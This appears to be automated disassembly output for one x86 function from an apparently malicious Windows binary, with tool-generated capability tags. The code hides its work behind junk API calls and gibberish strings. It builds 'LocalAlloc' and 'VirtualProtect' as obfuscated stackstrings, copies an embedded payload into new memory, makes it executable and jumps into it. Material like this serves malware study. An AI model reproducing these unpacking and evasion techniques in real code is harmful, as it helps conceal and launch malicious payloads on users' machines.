Function at 0x408f79
Capabilities:
Allocate thread local storage
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc0
push ebx
push esi
mov eax, 0x4173d0
push edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408f8d
sub eax, edx
xor ebx, ebx
cmp eax, 0xc18d0
jne 0x409072
push ebx
push ebx
push ebx
push str.fakitawevileretixahawera_luzu_jicehowodizodure
call dword [sym.imp.USER32.dll_OpenDesktopA]
push ebx
push str.mefulebiti_nekatixebale_wufevujokagomiha
call dword [sym.imp.USER32.dll_UnregisterClassA]
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push ebx
push str.ciceyeyevaxudi_zerafasumatevakuvokogumiwu_botahutucozamevijiharabe_mebopobo
push 0x411224
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
xor eax, eax
mov word [ebp - 0x3c], ax
lea edi, [ebp - 0x3a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0xdc0]
push eax
push str.zeharupu_yuci
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0x40
pop eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
call fcn.00401178
lea ebx, [ebp - 0x64]
lea eax, [ebp - 0x2c]
call fcn.0040102d
push 1
xor edi, edi
mov esi, ebx
call fcn.004010e9
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x28]
cmp esi, edi
je 0x409048
push edi
mov eax, esi
call fcn.004012b4
mov edi, esi
xor ebx, ebx
push ebx
push ebx
call fcn.00401cb7
push ebx
push str.tobojoseyatutalasuyidofedapobu
call fcn.00401bb1
add esp, 0x10
cmp esi, ebx
je 0x409072
push edi
mov eax, esi
call fcn.004012b4
push esi
call fcn.00401dc3
pop ecx
xor edi, edi
mov eax, edi
cdq
cmp edx, 0x16
jl 0x40909d
jg 0x409085
cmp eax, 0x78a670ef
jbe 0x40909d
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push ebx
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
cmp edi, 0x1c59
jge 0x4090c4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea eax, [ebp - 0x9c0]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp edi, 0x25544
jle 0x4090fb
cmp esi, 0xc0f571a
je 0x4090fb
cmp dword [ebp - 0x488], 0x5f1eb34d
je 0x4090fb
cmp dword [ebp - 0x9ac], 0x356437f4
jne 0x409108
inc edi
cmp edi, 0x2051be2d
jl 0x409074
xor esi, esi
cmp esi, 0x72d332
jne 0x40911c
mov eax, dword [0x416260]
mov dword [0x11a7fd4], eax
cmp esi, 0x31d4a62
jle 0x409132
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
inc esi
cmp esi, 0x945165
jl 0x40910a
xor esi, esi
cmp esi, 0x190a
jge 0x40915b
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.USER32.dll_RealChildWindowFromPoint]
cmp esi, 0x41da45
jne 0x40916d
add dword [0x11a7fd4], 0x1017
inc esi
cmp esi, 0x608f68
jl 0x40913d
xor esi, esi
cmp esi, 0x142e
jge 0x40918a
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
cmp esi, 0x2ecaaa
jne 0x4091a2
push 0x41133c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x11a7fd0], eax
inc esi
cmp esi, 0x6a75e0
jl 0x409178
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x8a4]
push eax
push dword [0x11a7fd0]
mov word [ebp - 0x8a4], 0x6f4c
mov dword [ebp - 0x89e], 0x636f6c6c
mov dword [ebp - 0x8a2], 0x416c6163
mov byte [ebp - 0x89a], bl
call esi
push dword [0x11a7fd4]
mov dword [0x7e3f44], eax
push ebx
call eax
mov dword [0x7e3f40], eax
mov eax, dword [0x416254]
xor edi, edi
mov dword [0x91e4aa0], eax
cmp dword [0x11a7fd4], ebx
jbe 0x40927a
cmp edi, 0x1824
jge 0x40921c
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
mov eax, dword [0x91e4aa0]
mov al, byte [edi + eax + 0x1017]
mov ecx, dword [0x7e3f40]
mov byte [edi + ecx], al
cmp edi, 0xad0
jge 0x409271
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowRgn]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DdeCreateDataHandle]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ole32.dll_CoQueryClientBlanket]
inc edi
cmp edi, dword [0x11a7fd4]
jb 0x40920a
mov dword [ebp - 0xc], 0xbb
sub dword [ebp - 0xc], 0x7b
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x464]
push ecx
push eax
mov dword [0x11a7fd0], eax
mov byte [ebp - 0x464], 0x56
mov word [ebp - 0x463], 0x7269
mov dword [ebp - 0x45e], 0x6f72506c
mov byte [ebp - 0x45a], 0x74
mov word [ebp - 0x460], 0x6175
mov byte [ebp - 0x461], 0x74
mov dword [ebp - 0x459], 0x746365
call esi
mov dword [0x7e3f3c], eax
xor esi, esi
cmp esi, 0x4ad
jge 0x40930a
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x44]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
cmp esi, 0x10e932
jne 0x40932b
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push dword [0x11a7fd4]
push dword [0x7e3f40]
call dword [0x7e3f3c]
cmp esi, 0x1ad5
jge 0x40933a
push ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
inc esi
cmp esi, 0x181147
jl 0x4092e1
call fcn.00408f1f
xor esi, esi
cmp esi, 0x252d
jge 0x409362
push str.rupixoyowahulepokiku
push str.wonayarutapera
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, 0xecb6a
jne 0x40937b
nop
add dword [0x11a7fd4], 0x1f3a1e51
call dword [0x7e3f40]
inc esi
cmp esi, 0x5ad26e
jl 0x40934a
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
push ebx
push str.wucetumagikezacacudi_cuzodanecololarumalivuzawujukigi_sunudoxefesepexujerivugela_vomejucalowoxuwuyelepe_nadarajuhojo
mov dword [eax + 4], 1
call dword [sym.imp.KERNEL32.dll__lopen]
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea eax, [ebp - 4]
push eax
push ebx
push str.jinupucayiruredopofoxobanijo_dirivu_femaxusu_nutavecehenubepu
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10